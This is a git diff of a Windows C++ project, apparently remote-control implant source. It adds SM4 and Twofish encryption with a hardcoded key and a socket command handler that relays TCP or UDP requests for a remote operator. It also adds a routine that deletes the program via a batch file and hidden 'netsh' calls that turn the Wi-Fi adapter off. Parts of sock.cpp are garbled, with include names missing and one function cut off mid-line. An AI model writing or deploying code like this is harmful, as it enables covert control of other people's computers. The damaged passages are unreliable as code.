*input, + unsigned char *output ) +{ + int i; + unsigned char temp[16]; + + if( mode == SM4_ENCRYPT ) + { + while( length > 0 ) + { + for( i = 0; i < 16; i++ ) + output[i] = (unsigned char)( input[i] ^ iv[i] ); + + sm4_one_round( ctx->sk, output, output ); + memcpy( iv, output, 16 ); + + input += 16; + output += 16; + length -= 16; + } + } + else + { + while( length > 0 ) + { + memcpy( temp, input, 16 ); + sm4_one_round( ctx->sk, input, output ); + + for( i = 0; i < 16; i++ ) + output[i] = (unsigned char)( output[i] ^ iv[i] ); + + memcpy( iv, temp, 16 ); + + input += 16; + output += 16; + length -= 16; + } + } +} + +unsigned char SM4publickey[ 16 ] = {0x21,0x05,0x35,0x57,0x81,0xcb,0xad,0x0f,0xf0,0xda,0xaa,0x58,0x36,0x34,0x22,0x16}; +int SM4EnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + sm4_context ctx; + if ( lpbufin && bufinLen >0 && lpbufout && bufoutLen >0 ){ + sm4_setkey_enc( &ctx,SM4publickey ); + sm4_crypt_ecb (&ctx,1,bufinLen,(unsigned char*)lpbufin,(unsigned char*)lpbufout); + return 0; + } + return 1; +} + +int SM4DeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + sm4_context ctx; + if ( lpbufin && bufinLen >0 && lpbufout && bufoutLen >0 ){ + sm4_setkey_dec(&ctx,SM4publickey); + sm4_crypt_ecb(&ctx, 0, bufinLen, (unsigned char*)lpbufin, (unsigned char*)lpbufout); + return 0; + } + return 1; +} diff --git a/sm4.h b/sm4.h new file mode 100644 index 0000000..58b8057 --- /dev/null +++ b/sm4.h @@ -0,0 +1,39 @@ + +#ifndef XYSSL_SM4_H +#define XYSSL_SM4_H + +#define SM4_ENCRYPT 1 +#define SM4_DECRYPT 0 + + +typedef struct +{ + int mode; + unsigned long sk[32]; +} +sm4_context; + + +#ifdef __cplusplus +extern "C" { +#endif + +void sm4_setkey_enc( sm4_context *ctx, unsigned char key[16] ); +void sm4_setkey_dec( sm4_context *ctx, unsigned char key[16] ); +void sm4_crypt_ecb( sm4_context *ctx, + int mode, + int length, + unsigned char *input, + unsigned char *output); +void sm4_crypt_cbc( sm4_context *ctx, + int mode, + int length, + unsigned char iv[16], + unsigned char *input, + unsigned char *output ); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/small.ico b/small.ico new file mode 100644 index 0000000..8f94d9a Binary files /dev/null and b/small.ico differ diff --git a/sock.cpp b/sock.cpp new file mode 100644 index 0000000..c4bbaaf --- /dev/null +++ b/sock.cpp @@ -0,0 +1,485 @@ + +#include "stdafx.h" +#include "WinSrv.h" +#include "stdio.h" +#include "stdlib.h" +#include "string.h" + +void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet ); +DWORD TCPData(IN LPCSTR lpIP, IN LPCSTR lpszPath, OUT LPVOID lpOutBuffer, IN DWORD dwOutBufBytes, OUT LPDWORD lpdwRecvdBytes) +{ + DWORD dwResult = 0; + WORD wPort = 80; + INT nOffset = 0; + struct hostent *pURL = NULL; + struct sockaddr_in addr; + WSADATA WSAData = { 0 }; + SOCKET sockfd = INVALID_SOCKET; + LPSTR lpBuf = NULL; + LPSTR lpTempBuf = NULL; + + ::WSAStartup(MAKEWORD(1, 1), &WSAData); + + do + { + if (!dwOutBufBytes){ + dwOutBufBytes = 4096; + } + lpBuf = new CHAR[dwOutBufBytes]; + lpTempBuf = new CHAR[8192]; + if (NULL == lpBuf || NULL == lpTempBuf){ + dwResult = ERROR_NOT_ENOUGH_MEMORY; break; + } + RtlZeroMemory(lpBuf, dwOutBufBytes); + RtlZeroMemory(lpTempBuf, 8192); + + char *lpstr = strstr((char*)lpIP, ":"); + if (lpstr){ + *lpstr = 0; + lpstr++; + wPort = atoi(lpstr); + } + + sockfd = ::socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); + if (INVALID_SOCKET == sockfd){ + dwResult = ::WSAGetLastError(); break; + } + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr(lpIP); + addr.sin_port = ::htons(wPort); + dwResult = ::connect(sockfd, (SOCKADDR *)&addr, sizeof(addr)); + if (dwResult == SOCKET_ERROR){ + dwResult = ::WSAGetLastError(); break; + } + sprintf_s((char*)lpBuf, 512, "GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: Close\r\nAccept: */*\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)\r\n\r\n", (char*)lpszPath, (char*)lpIP); + if (SOCKET_ERROR == ::send(sockfd, lpBuf, (INT)strlen(lpBuf), 0)){ + dwResult = ::WSAGetLastError(); break; + } + if (NULL == lpOutBuffer) break; + RtlZeroMemory(lpBuf, dwOutBufBytes); + DWORD dwTickStart = ::GetTickCount(); + DWORD dwTickLast = dwTickStart; + DWORD dwTickNow = 0; + INT nThisRecv = 0; + nOffset = 0; + fd_set myfd_rset; + fd_set myfd_0set; + struct timeval timeout; + while (TRUE) + { + FD_ZERO(&myfd_rset); + FD_ZERO(&myfd_0set); + FD_SET(sockfd, &myfd_rset); + FD_SET(sockfd, &myfd_0set); + timeout.tv_sec = 0; + timeout.tv_usec = 2000; + int nSelect = ::select((INT)sockfd + 1, &myfd_rset, NULL, &myfd_0set, &timeout); + if (nSelect < 0){ + dwResult = ERROR_INTERNAL_ERROR; break; + } + if (nSelect == 0){ + dwTickNow = ::GetTickCount(); + if (dwTickNow - dwTickLast >= 10 * 1000){ + dwResult = ERROR_TIMEOUT; break; + } + } + if (nSelect){ + nThisRecv = ::recv(sockfd, lpBuf + nOffset, min(32 * 1024, dwOutBufBytes - nOffset), 0); + if (0 > nThisRecv){ + dwResult = ERROR_INTERNAL_ERROR; break; + } + if (0 == nThisRecv) break; + if (nThisRecv > 0){ + nOffset += nThisRecv; + dwTickLast = ::GetTickCount(); + } + } + } + RtlCopyMemory(lpOutBuffer, lpBuf, nOffset); + } while (0); + if (lpBuf) delete[] lpBuf; + if (lpTempBuf) delete[] lpTempBuf; + if (INVALID_SOCKET != sockfd){ + closesocket(sockfd); + } + ::WSACleanup(); + if (lpdwRecvdBytes){ + *lpdwRecvdBytes = (DWORD)nOffset; + } + + return dwResult; +} + + +DWORD UDPData(IN LPCSTR lpIP, IN LPCSTR lpszPath, OUT LPVOID lpOutBuffer, IN DWORD dwOutBufBytes, OUT LPDWORD lpdwRecvdBytes) +{ + WSADATA WSAData = { 0 }; + WSAStartup(MAKEWORD(1, 1), &WSAData); + unsigned short wPort = 80; + + + char *lpstr = strstr((char*)lpIP, ":"); + if (lpstr){ + *lpstr = 0; + lpstr++; + wPort = atoi(lpstr); + } + + + SOCKET s; + struct sockaddr_in server; + int len = sizeof(server); + server.sin_family = AF_INET; + server.sin_port = htons(wPort); + server.sin_addr.s_addr = inet_addr(lpIP); + + s = socket(AF_INET, SOCK_DGRAM, 0); + if (sendto(s, lpszPath, strlen(lpszPath), 0, (struct sockaddr*)&server, len) != SOCKET_ERROR){ + *lpdwRecvdBytes = (DWORD)recvfrom(s, (char*)lpOutBuffer, dwOutBufBytes, 0, (struct sockaddr*)&server, &len); + } + + closesocket(s); + return 0; +} + +char* __g_stristrA(char *lpstrW, int dwstrW, char *lpstrV) +{ + char *lpRet = NULL; + int dwstrV; + do + { + if (NULL == lpstrW || NULL == lpstrV){ + break; + } + if (dwstrW == 0) dwstrW = strlen(lpstrW); + dwstrV = strlen(lpstrV); + if (dwstrW < dwstrV){ + break; + } + while ( dwstrW >0 && dwstrV > 0 ) + { + if (dwstrW < dwstrV){ + break; + } + if ((_strnicmp(lpstrW, lpstrV, dwstrV) == 0)){ + lpRet = lpstrW; + break; + } + ++lpstrW; + --dwstrW; + } + + } while (0); + + return lpRet; +} + +#include +#include +#include +#include + +void GetRadomString(IN DWORD dwCount, OUT LPTSTR lpszString, DWORD dwOutBytes) +{ + DWORD dwMaxCount = 0, i = 0; + DWORD dwRadom = 0; + TCHAR szDic[64] = { 0 }; + RtlZeroMemory(lpszString, dwOutBytes); + for (i = 0; i<10; i++) + { + szDic[i] = (TCHAR)('0' + i); + } + for (i = 0; i<26; i++) + { + szDic[i + 10] = (TCHAR)('A' + i); + } + for (i = 0; i<26; i++) + { + szDic[i + 36] = (TCHAR)('a' + i); + } + szDic[62] = '_'; + szDic[63] = '\0'; + dwMaxCount = (DWORD)_tcslen(szDic); + for (i = 0; inul\r\n"); + lpThis += strlen(lpThis); + sprintf(lpThis, "if exist \"%s\" goto r1\r\n", lpszMyFile); + lpThis += strlen(lpThis); + sprintf(lpThis, ":e1\r\ndel /f /q \"%s\"\r\n", lpszBatFile); + lpThis += strlen(lpThis); + MyWriteFileEx(lpszBatFile, 0, lpszData, (DWORD)strlen(lpszData), TRUE, FALSE); + sprintf(lpszData, "\"%s\"", lpszBatFile); + LaunchAndWait(NULL, lpszData, szTmpPath, FALSE, FALSE, NULL, NULL); + } while (0); + + if (lpBuffer) delete[] lpBuffer; + + return dwResult; +} + + +void Delself() +{ + DeleteMySelf(NULL, 3); + ExitProcess(0); +} + +void wifi(unsigned int IsOn) +{ + char szCommandLine[512] = { 0 }; + char szCommandLineA[512] = { 0 }; + if (IsOn){ + strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" enabled"); + strcpy(szCommandLineA, "cmd /c netsh interface set interface \"无线网络连接\" enabled"); + + } + else + { + strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" disable"); + strcpy(szCommandLineA, "cmd /c netsh interface set interface \"无线网络连接\" disable"); + + } + + + WinExec(szCommandLine, SW_HIDE ); + WinExec(szCommandLineA, SW_HIDE); + + + +} + + +void DoData( SOCKET Blusock, char *buf, unsigned int dwAlgo ) +{ + BOOL IsTcp = 0; + char *lpRet = NULL; + int iRet = 1; + char szIP[260] = { 0 }; + char szData[512] = { 0 }; + char *lpBufout = NULL; + DWORD dwBufOutSize = 512 * 1024; + DWORD dwBufRetSize = 0; + + do + { + lpRet = __g_stristrA(buf, strlen(buf), "-Tcp"); + if (lpRet){ + IsTcp = 1; + } + lpRet = __g_stristrA(buf, strlen(buf), "-Get"); + if (lpRet){ + + lpRet += 4; + int IsIp = 1; + int i = 0; + while (1) + { + if (*lpRet == ' '){ + lpRet++; + continue; + } + if (*lpRet == '\0' || *lpRet == 0 || *lpRet == '-'){ + break; + } + if (*lpRet == '/'){ + i = 0; + IsIp = 0; + lpRet++; + continue; + } + + if (IsIp){ + szIP[i++] = *lpRet; + } + else + { + szData[i++] = *lpRet; + } + lpRet++; + } + } + if (szIP[0] == 0 || szData[0] == 0){ + break; + } + + lpBufout = (char*)malloc(dwBufOutSize); + if (!lpBufout){ + break; + } + RtlZeroMemory(lpBufout, dwBufOutSize); + if (IsTcp){ + TCPData(szIP, szData, lpBufout, dwBufOutSize, &dwBufRetSize); + if (dwBufRetSize > 1024){ + dwBufRetSize = 1024; + } + } + else + { + UDPData(szIP, szData, lpBufout, dwBufOutSize, &dwBufRetSize); + } + if (dwBufRetSize == 0 || dwBufRetSize >= dwBufOutSize){ + dwBufRetSize = 0; + break; + } + iRet = 0; + } while (0); + + + Send2A(Blusock, dwAlgo, lpBufout, dwBufRetSize, iRet ); + + if (lpBufout){ + free(lpBufout); + } + +} + + diff --git a/tables.h b/tables.h new file mode 100644 index 0000000..6158523 --- /dev/null +++ b/tables.h @@ -0,0 +1,60 @@ + + + #ifndef __TABLES__H + #define __TABLES__H + + uint8_t mds[4][4]= + { + {0x01, 0xef, 0x5b, 0x5b}, + {0x5b, 0xef, 0xef, 0x01}, + {0xef, 0x5b, 0x01, 0xef}, + {0xef, 0x01, 0xef, 0x5b} + }; + + + + +uint8_t q[2][256] = +{ + + { + + 0xa9,0x67,0xb3,0xe8,0x4,0xfd,0xa3,0x76,0x9a,0x92,0x80,0x78,0xe4,0xdd,0xd1,0x38, + 0xd,0xc6,0x35,0x98,0x18,0xf7,0xec,0x6c,0x43,0x75,0x37,0x26,0xfa,0x13,0x94,0x48, + 0xf2,0xd0,0x8b,0x30,0x84,0x54,0xdf,0x23,0x19,0x5b,0x3d,0x59,0xf3,0xae,0xa2,0x82, + 0x63,0x1,0x83,0x2e,0xd9,0x51,0x9b,0x7c,0xa6,0xeb,0xa5,0xbe,0x16,0xc,0xe3,0x61, + 0xc0,0x8c,0x3a,0xf5,0x73,0x2c,0x25,0xb,0xbb,0x4e,0x89,0x6b,0x53,0x6a,0xb4,0xf1, + 0xe1,0xe6,0xbd,0x45,0xe2,0xf4,0xb6,0x66,0xcc,0x95,0x3,0x56,0xd4,0x1c,0x1e,0xd7, + 0xfb,0xc3,0x8e,0xb5,0xe9,0xcf,0xbf,0xba,0xea,0x77,0x39,0xaf,0x33,0xc9,0x62,0x71, + 0x81,0x79,0x9,0xad,0x24,0xcd,0xf9,0xd8,0xe5,0xc5,0xb9,0x4d,0x44,0x8,0x86,0xe7, + 0xa1,0x1d,0xaa,0xed,0x6,0x70,0xb2,0xd2,0x41,0x7b,0xa0,0x11,0x31,0xc2,0x27,0x90, + 0x20,0xf6,0x60,0xff,0x96,0x5c,0xb1,0xab,0x9e,0x9c,0x52,0x1b,0x5f,0x93,0xa,0xef, + 0x91,0x85,0x49,0xee,0x2d,0x4f,0x8f,0x3b,0x47,0x87,0x6d,0x46,0xd6,0x3e,0x69,0x64, + 0x2a,0xce,0xcb,0x2f,0xfc,0x97,0x5,0x7a,0xac,0x7f,0xd5,0x1a,0x4b,0xe,0xa7,0x5a, + 0x28,0x14,0x3f,0x29,0x88,0x3c,0x4c,0x2,0xb8,0xda,0xb0,0x17,0x55,0x1f,0x8a,0x7d, + 0x57,0xc7,0x8d,0x74,0xb7,0xc4,0x9f,0x72,0x7e,0x15,0x22,0x12,0x58,0x7,0x99,0x34, + 0x6e,0x50,0xde,0x68,0x65,0xbc,0xdb,0xf8,0xc8,0xa8,0x2b,0x40,0xdc,0xfe,0x32,0xa4, + 0xca,0x10,0x21,0xf0,0xd3,0x5d,0xf,0x0,0x6f,0x9d,0x36,0x42,0x4a,0x5e,0xc1,0xe0 + }, + { + + 0x75,0xf3,0xc6,0xf4,0xdb,0x7b,0xfb,0xc8,0x4a,0xd3,0xe6,0x6b,0x45,0x7d,0xe8,0x4b, + 0xd6,0x32,0xd8,0xfd,0x37,0x71,0xf1,0xe1,0x30,0xf,0xf8,0x1b,0x87,0xfa,0x6,0x3f, + 0x5e,0xba,0xae,0x5b,0x8a,0x0,0xbc,0x9d,0x6d,0xc1,0xb1,0xe,0x80,0x5d,0xd2,0xd5, + 0xa0,0x84,0x7,0x14,0xb5,0x90,0x2c,0xa3,0xb2,0x73,0x4c,0x54,0x92,0x74,0x36,0x51, + 0x38,0xb0,0xbd,0x5a,0xfc,0x60,0x62,0x96,0x6c,0x42,0xf7,0x10,0x7c,0x28,0x27,0x8c, + 0x13,0x95,0x9c,0xc7,0x24,0x46,0x3b,0x70,0xca,0xe3,0x85,0xcb,0x11,0xd0,0x93,0xb8, + 0xa6,0x83,0x20,0xff,0x9f,0x77,0xc3,0xcc,0x3,0x6f,0x8,0xbf,0x40,0xe7,0x2b,0xe2, + 0x79,0xc,0xaa,0x82,0x41,0x3a,0xea,0xb9,0xe4,0x9a,0xa4,0x97,0x7e,0xda,0x7a,0x17, + 0x66,0x94,0xa1,0x1d,0x3d,0xf0,0xde,0xb3,0xb,0x72,0xa7,0x1c,0xef,0xd1,0x53,0x3e, + 0x8f,0x33,0x26,0x5f,0xec,0x76,0x2a,0x49,0x81,0x88,0xee,0x21,0xc4,0x1a,0xeb,0xd9, + 0xc5,0x39,0x99,0xcd,0xad,0x31,0x8b,0x1,0x18,0x23,0xdd,0x1f,0x4e,0x2d,0xf9,0x48, + 0x4f,0xf2,0x65,0x8e,0x78,0x5c,0x58,0x19,0x8d,0xe5,0x98,0x57,0x67,0x7f,0x5,0x64, + 0xaf,0x63,0xb6,0xfe,0xf5,0xb7,0x3c,0xa5,0xce,0xe9,0x68,0x44,0xe0,0x4d,0x43,0x69, + 0x29,0x2e,0xac,0x15,0x59,0xa8,0xa,0x9e,0x6e,0x47,0xdf,0x34,0x35,0x6a,0xcf,0xdc, + 0x22,0xc9,0xc0,0x9b,0x89,0xd4,0xed,0xab,0x12,0xa2,0xd,0x52,0xbb,0x2,0x2f,0xa9, + 0xd7,0x61,0x1e,0xb4,0x50,0x4,0xf6,0xc2,0x16,0x25,0x86,0x56,0x55,0x9,0xbe,0x91 + } +}; + +#endif diff --git a/twofish.cpp b/twofish.cpp new file mode 100644 index 0000000..f4be9b9 --- /dev/null +++ b/twofish.cpp @@ -0,0 +1,452 @@ + +#include "StdAfx.h" +#include +#include +#include "twofish.h" +#include "tables.h" + +#define ror(g,n) ((g>>n)|(g<<(32-n))) +#define rol(g,n) ((g<>(32-n))) +#define nxt(g,r) (*(g+r)) +#define LITTILE_ENDIAN +#ifdef LITTILE_ENDIAN + #define unpack(g,r) ((g>>(r*8))&0xff) + #define pack(g) ((*(g))|(*(g+1)<<8)|(*(g+2)<<16)|(*(g+3)<<24)) +#endif +#define rsm(i,a,b,c,d,e,f,g,h) \ + gf(nxt(tf_key->k,r*8),a,0x14d)^gf(nxt(tf_key->k,r*8+1),b,0x14d)^\ + gf(nxt(tf_key->k,r*8+2),c,0x14d)^gf(nxt(tf_key->k,r*8+3),d,0x14d)^\ + gf(nxt(tf_key->k,r*8+4),e,0x14d)^gf(nxt(tf_key->k,r*8+5),f,0x14d)^\ + gf(nxt(tf_key->k,r*8+6),g,0x14d)^gf(nxt(tf_key->k,r*8+7),h,0x14d) +#define u(x,a)\ + x[0] = unpack(a,0); \ + x[1] = unpack(a,1); \ + x[2] = unpack(a,2); \ + x[3] = unpack(a,3); +#define release(a,b,c) { free(a); free(b);free(c); } + + + + + bool CTwoFish::Twofish_ecb (uint8_t* in, uint8_t* out, uint32_t length, uint8_t* key, + TWOFISH_KEY keylen/* = TWOFISH_KEY_256*/, TWOFISH_MODE mode/* = TWOFISH_ENCRYPT*/) + { + if (length % TWOFISH_BLOCKSIZE != 0) + { + length = (length + TWOFISH_BLOCKSIZE - 1); + length = length / TWOFISH_BLOCKSIZE; + length = length * TWOFISH_BLOCKSIZE; + + //return false; + } + + twofish_t* twofish = Twofish_setup (key, keylen); + + if (mode == TWOFISH_ENCRYPT) + { + for (uint32_t i = 0; i < length; i += TWOFISH_BLOCKSIZE) + { + Twofish_encryt (twofish, in + i, out + i); + } + } + else + { + for (uint32_t i = 0; i < length; i += TWOFISH_BLOCKSIZE) + { + Twofish_decryt (twofish, in + i, out + i); + } + } + + free (twofish); + return true; + } + + bool CTwoFish::Twofish_cbc (uint8_t* in, uint8_t* out, uint32_t length, uint8_t* iv, uint8_t* key, + TWOFISH_KEY keylen/* = TWOFISH_KEY_256*/, TWOFISH_MODE mode/* = TWOFISH_ENCRYPT*/) + { + if (length % TWOFISH_BLOCKSIZE != 0) + { + return false; + } + + twofish_t* twofish = Twofish_setup (key, keylen); + uint8_t inbuffer[TWOFISH_BLOCKSIZE + 1] = { 0}; + uint8_t t_iv[TWOFISH_BLOCKSIZE + 1] = { 0}; + memcpy (t_iv, iv, TWOFISH_BLOCKSIZE); + + if (mode == TWOFISH_ENCRYPT) + { + for (uint32_t i = 0; i < length; i += TWOFISH_BLOCKSIZE) + { + memcpy (inbuffer, in + i, TWOFISH_BLOCKSIZE); + XOR (inbuffer, t_iv); + Twofish_encryt (twofish, inbuffer, out + i); + memcpy (t_iv, out + i, TWOFISH_BLOCKSIZE); + } + } + else + { + for (uint32_t i = 0; i < length; i += TWOFISH_BLOCKSIZE) + { + memcpy (inbuffer, in + i, TWOFISH_BLOCKSIZE); + Twofish_decryt (twofish, in + i, out + i); + XOR (out + i, t_iv); + memcpy (t_iv, inbuffer, TWOFISH_BLOCKSIZE); + } + } + + free (twofish); + return true; + } + + + void CTwoFish::XOR (uint8_t* in, uint8_t* iv) + { + for (uint8_t i = 0; i < TWOFISH_BLOCKSIZE; i++) + { + in[i] ^= iv[i]; + } + } + + std::string CTwoFish::toHex (char* in, int len) + { + char buff[128] = {0}; + std::string result = ""; + unsigned char ch; + + for (int i = 0; i < len; i++) + { + ch = (unsigned char) * in; + sprintf (buff, "%02X", ch); + result += buff; + in++; + } + + return result; + } + + void CTwoFish::fromHex (std::string str, char* out, int& len) + { + if (str.length() % 2 != 0) + { + len = 0; + return ; + } + + len = 0; + std::string temp; + unsigned int ch = 0; + + for (unsigned int i = 0; i < str.length();) + { + temp = str.substr (i, 2); + i += 2; + sscanf (temp.c_str(), "%x", &ch); + out[len] = (char)ch; + len++; + } + } + + twofish_t* CTwoFish::Twofish_setup (uint8_t* s, uint32_t len) + { + key_t* tf_key = expand_key (s, len / 8); + subkey_t* tf_subkey = Twofish_generate_subkey (tf_key); + twofish_t* tf_twofish = (twofish_t*)malloc (sizeof (twofish_t)); + tf_twofish = Twofish_generate_ext_k_keys (tf_twofish, tf_subkey, 0x01010101, (tf_key->len / 8)); + tf_twofish = Twofish_generate_ext_s_keys (tf_twofish, tf_subkey, (tf_key->len / 8)); + release (tf_key->k, tf_key, tf_subkey); + return tf_twofish; + } + + void CTwoFish::Twofish_encryt (twofish_t* tf_twofish, uint8_t* data, uint8_t* cypher) + { + uint32_t r0, r1, r2, r3, f0, f1, c2, c3; + r0 = tf_twofish->k[0] ^ pack (data); + r1 = tf_twofish->k[1] ^ pack (data + 4); + r2 = tf_twofish->k[2] ^ pack (data + 8); + r3 = tf_twofish->k[3] ^ pack (data + 12); + + for (int i = 0; i < 16; ++i) + { + Twofish_f (tf_twofish, i, r0, r1, &f0, &f1); + c2 = ror ((f0 ^ r2), 1); + c3 = (f1 ^ rol (r3, 1)); + r2 = r0; + r3 = r1; + r0 = c2; + r1 = c3; + } + + c2 = r0; + c3 = r1; + r0 = tf_twofish->k[4] ^ r2; + r1 = tf_twofish->k[5] ^ r3; + r2 = tf_twofish->k[6] ^ c2; + r3 = tf_twofish->k[7] ^ c3; + + for ( int i = 0; i < 4; ++i) + { + cypher[i] = unpack (r0, i); + cypher[i + 4] = unpack (r1, i); + cypher[i + 8] = unpack (r2, i); + cypher[i + 12] = unpack (r3, i); + } + } + + void CTwoFish::Twofish_decryt (twofish_t* tf_twofish, uint8_t* cypher, uint8_t* data) + { + uint32_t r0, r1, r2, r3, f0, f1, c2, c3; + r0 = tf_twofish->k[4] ^ pack (cypher); + r1 = tf_twofish->k[5] ^ pack (cypher + 4); + r2 = tf_twofish->k[6] ^ pack (cypher + 8); + r3 = tf_twofish->k[7] ^ pack (cypher + 12); + + for (int i = 15; i >= 0; --i) + { + Twofish_f (tf_twofish, i, r0, r1, &f0, &f1); + c2 = (rol (r2, 1)^f0); + c3 = ror ((f1 ^ r3), 1); + r2 = r0; + r3 = r1; + r0 = c2; + r1 = c3; + } + + c2 = r0; + c3 = r1; + r0 = tf_twofish->k[0] ^ r2; + r1 = tf_twofish->k[1] ^ r3; + r2 = tf_twofish->k[2] ^ c2; + r3 = tf_twofish->k[3] ^ c3; + + for ( int i = 0; i < 4; ++i) + { + data[i] = unpack (r0, i); + data[i + 4] = unpack (r1, i); + data[i + 8] = unpack (r2, i); + data[i + 12] = unpack (r3, i); + } + } + + void CTwoFish::Twofish_f (twofish_t* tf_twofish, uint8_t r, uint32_t r0, uint32_t r1, uint32_t* f0, uint32_t* f1) + { + uint32_t t0, t1, o; + t0 = Twofish_g (tf_twofish, r0); + t1 = rol (r1, 8); + t1 = Twofish_g (tf_twofish, t1); + o = 2 * r; + *f0 = (t0 + t1 + tf_twofish->k[o + 8]); + *f1 = (t0 + (2 * t1) + tf_twofish->k[o + 9]); + } + + twofish_t* CTwoFish::Twofish_generate_ext_k_keys (twofish_t* tf_twofish, subkey_t* tf_subkey, uint32_t p, uint8_t k) + { + uint32_t a, b; + uint8_t x[4], y[4], z[4]; + + for (int i = 0; i < 40; i += 2) + { + a = (i * p); + b = (a + p); + u (x, a); + Twofish_h (x, y, tf_subkey->me, k); + Twofish_mds_mul (y, z); + a = pack (z); + u (x, b); + Twofish_h (x, y, tf_subkey->mo, k); + Twofish_mds_mul (y, z); + b = pack (z); + b = rol (b, 8); + tf_twofish->k[i] = ((a + b)); + tf_twofish->k[i + 1] = rol (((a + (2 * b))), 9); + } + + return tf_twofish; + } + + twofish_t* CTwoFish::Twofish_generate_ext_s_keys (twofish_t* tf_twofish, subkey_t* tf_subkey, uint8_t k) + { + uint8_t x[4], y[4]; + + for (int i = 0; i < 256; ++i) + { + x[0] = x[1] = x[2] = x[3] = i; + Twofish_h (x, y, tf_subkey->s, k); + tf_twofish->s[0][i] = (gf (y[0], mds[0][0], 0x169) | (gf (y[1], mds[0][1], 0x169) << 8) | (gf (y[2], mds[0][2], + 0x169) << 16) | (gf (y[3], mds[0][3], 0x169) << 24)); + tf_twofish->s[1][i] = (gf (y[0], mds[1][0], 0x169) | (gf (y[1], mds[1][1], 0x169) << 8) | (gf (y[2], mds[1][2], + 0x169) << 16) | (gf (y[3], mds[1][3], 0x169) << 24)); + tf_twofish->s[2][i] = (gf (y[0], mds[2][0], 0x169) | (gf (y[1], mds[2][1], 0x169) << 8) | (gf (y[2], mds[2][2], + 0x169) << 16) | (gf (y[3], mds[2][3], 0x169) << 24)); + tf_twofish->s[3][i] = (gf (y[0], mds[3][0], 0x169) | (gf (y[1], mds[3][1], 0x169) << 8) | (gf (y[2], mds[3][2], + 0x169) << 16) | (gf (y[3], mds[3][3], 0x169) << 24)); + } + + return tf_twofish; + } + + void CTwoFish::Twofish_mds_mul (uint8_t y[], uint8_t out[]) + { + out[0] = (gf (y[0], mds[0][0], 0x169)^gf (y[1], mds[0][1], 0x169)^gf (y[2], mds[0][2], 0x169)^gf (y[3], mds[0][3], + 0x169)); + out[1] = (gf (y[0], mds[1][0], 0x169)^gf (y[1], mds[1][1], 0x169)^gf (y[2], mds[1][2], 0x169)^gf (y[3], mds[1][3], + 0x169)); + out[2] = (gf (y[0], mds[2][0], 0x169)^gf (y[1], mds[2][1], 0x169)^gf (y[2], mds[2][2], 0x169)^gf (y[3], mds[2][3], + 0x169)); + out[3] = (gf (y[0], mds[3][0], 0x169)^gf (y[1], mds[3][1], 0x169)^gf (y[2], mds[3][2], 0x169)^gf (y[3], mds[3][3], + 0x169)); + } + + uint32_t CTwoFish::Twofish_g (twofish_t* tf_twofish, uint32_t x) + { + return (tf_twofish->s[0][unpack (x, 0)] ^ tf_twofish->s[1][unpack (x, 1)] ^ tf_twofish->s[2][unpack (x, + 2)] ^ tf_twofish->s[3][unpack (x, 3)]); + } + + void CTwoFish::Twofish_h (uint8_t x[], uint8_t out[], uint8_t s[][4], int stage) + { + uint8_t y[4]; + + for (int j = 0; j < 4; ++j) + { + y[j] = x[j]; + } + + if (stage == 4) + { + y[0] = q[1][y[0]] ^ (s[3][0]); + y[1] = q[0][y[1]] ^ (s[3][1]); + y[2] = q[0][y[2]] ^ (s[3][2]); + y[3] = q[1][y[3]] ^ (s[3][3]); + } + + if (stage > 2) + { + y[0] = q[1][y[0]] ^ (s[2][0]); + y[1] = q[1][y[1]] ^ (s[2][1]); + y[2] = q[0][y[2]] ^ (s[2][2]); + y[3] = q[0][y[3]] ^ (s[2][3]); + } + + out[0] = q[1][q[0][ q[0][y[0]] ^ (s[1][0])] ^ (s[0][0])]; + out[1] = q[0][q[0][ q[1][y[1]] ^ (s[1][1])] ^ (s[0][1])]; + out[2] = q[1][q[1][ q[0][y[2]] ^ (s[1][2])] ^ (s[0][2])]; + out[3] = q[0][q[1][ q[1][y[3]] ^ (s[1][3])] ^ (s[0][3])]; + } + + subkey_t* CTwoFish::Twofish_generate_subkey (key_t* tf_key) + { + int k, r, g; + subkey_t* tf_subkey = (subkey_t*)malloc (sizeof (subkey_t)); + k = tf_key->len / 8; + + for (r = 0; r < k; ++r) + { + tf_subkey->me[r][0] = nxt (tf_key->k, r * 8 ); + tf_subkey->me[r][1] = nxt (tf_key->k, r * 8 + 1); + tf_subkey->me[r][2] = nxt (tf_key->k, r * 8 + 2); + tf_subkey->me[r][3] = nxt (tf_key->k, r * 8 + 3); + tf_subkey->mo[r][0] = nxt (tf_key->k, r * 8 + 4); + tf_subkey->mo[r][1] = nxt (tf_key->k, r * 8 + 5); + tf_subkey->mo[r][2] = nxt (tf_key->k, r * 8 + 6); + tf_subkey->mo[r][3] = nxt (tf_key->k, r * 8 + 7); + g = k - r - 1; + tf_subkey->s[g][0] = rsm (r, 0x01, 0xa4, 0x55, 0x87, 0x5a, 0x58, 0xdb, 0x9e); + tf_subkey->s[g][1] = rsm (r, 0xa4, 0x56, 0x82, 0xf3, 0x1e, 0xc6, 0x68, 0xe5); + tf_subkey->s[g][2] = rsm (r, 0x02, 0xa1, 0xfc, 0xc1, 0x47, 0xae, 0x3d, 0x19); + tf_subkey->s[g][3] = rsm (r, 0xa4, 0x55, 0x87, 0x5a, 0x58, 0xdb, 0x9e, 0x03); + } + + return tf_subkey; + } + + key_t* CTwoFish::expand_key (uint8_t* s, uint32_t len) + { + int n = 32; + + if (len <= 16) + { + n = 16; + } + else if (len <= 24) + { + n = 24; + } + else if (len <= 32) + { + n = 32; + } + + key_t* tf_key = (key_t*)malloc (sizeof (key_t)); + uint8_t* ss = (uint8_t*)malloc (n); + + for (int g = 0; g < n; ++g) + { + if ((uint32_t)g < len) + { + * (ss + g) = * (s + g); + continue; + } + + * (ss + g) = 0x00; + } + + tf_key->k = ss; + tf_key->len = n; + return tf_key; + } + + uint8_t CTwoFish::gf (uint8_t x, uint8_t y, uint16_t m) + { + uint8_t c, p = 0; + + for (int i = 0; i < 8; ++i) + { + if (y & 0x1) + { + p ^= x; + } + + c = x & 0x80; + x <<= 1; + + if (c) + { + x ^= m; + } + + y 